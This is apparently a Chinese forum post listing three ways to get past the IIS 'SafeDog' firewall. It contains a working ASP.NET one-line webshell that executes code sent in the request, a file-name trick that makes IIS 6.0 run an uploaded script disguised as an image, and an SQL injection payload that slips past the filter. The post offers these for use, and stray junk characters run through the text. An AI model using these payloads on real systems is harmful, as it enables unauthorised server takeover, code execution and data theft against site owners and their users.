1、绕过IIS安全狗的一句话。
% ]7 e. Y+ @5 b. l0 w H前几天测试一个网站。找到突破口之后,写入webshell,但服务器上装有IIS安全狗,平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。* U' Y. U. T, e9 R& S
<%@ Page Language="C#" ValidateRequest="false" %> <%try{System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["admin163.net"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null,null); } catch { }%>连接端用cncert的aspx一句话客户端。
" r; V8 |& C$ R: u8 }
, r* a0 E+ J E2 l- n4 J- v2、IIS6.0解析漏洞遇到安全狗。4 N$ c* L8 q% g; Z1 z7 j; W
文件名为8 X/ k3 }6 t; m2 y" A: X
http://www.xxxxx.com/sh3llc0de.asp;1.jpg
6 A+ ~6 d4 @# F( |; Y0 B6 M" i) [& e1 h8 P) q: F' {
这样的会被IIS安全狗果断屏蔽。4 ]2 J1 x8 ?" P* ?' U( E/ a3 b
改成如下名称,IIS6一样会解析: k2 I- m @- K4 y' f
www.xxxxx.com/;1.asp;1.jpg
3 ?1 y H! @2 r
4 g4 O1 P9 n- z. m3、安全狗的注入绕过。! h! b; j* Z/ {* J8 Z% z: t) v
常用的如r00ts.asp?id=1 and 1=1 是会被安全狗屏蔽的。, R$ P4 _! X; _; O
但如果:% ?! y. T) n6 `5 [6 g
r00ts.asp?r00ts.com=%00.&id=69%20 and 1=11 n' I: U+ G7 i' Z5 g6 v
就可以成功绕过了。
5 P+ n$ v& c" N: p2 \: Q C) d
( u+ T( q3 k7 C# b9 q( K& w% l/ E: h" }) I) y& I2 y
|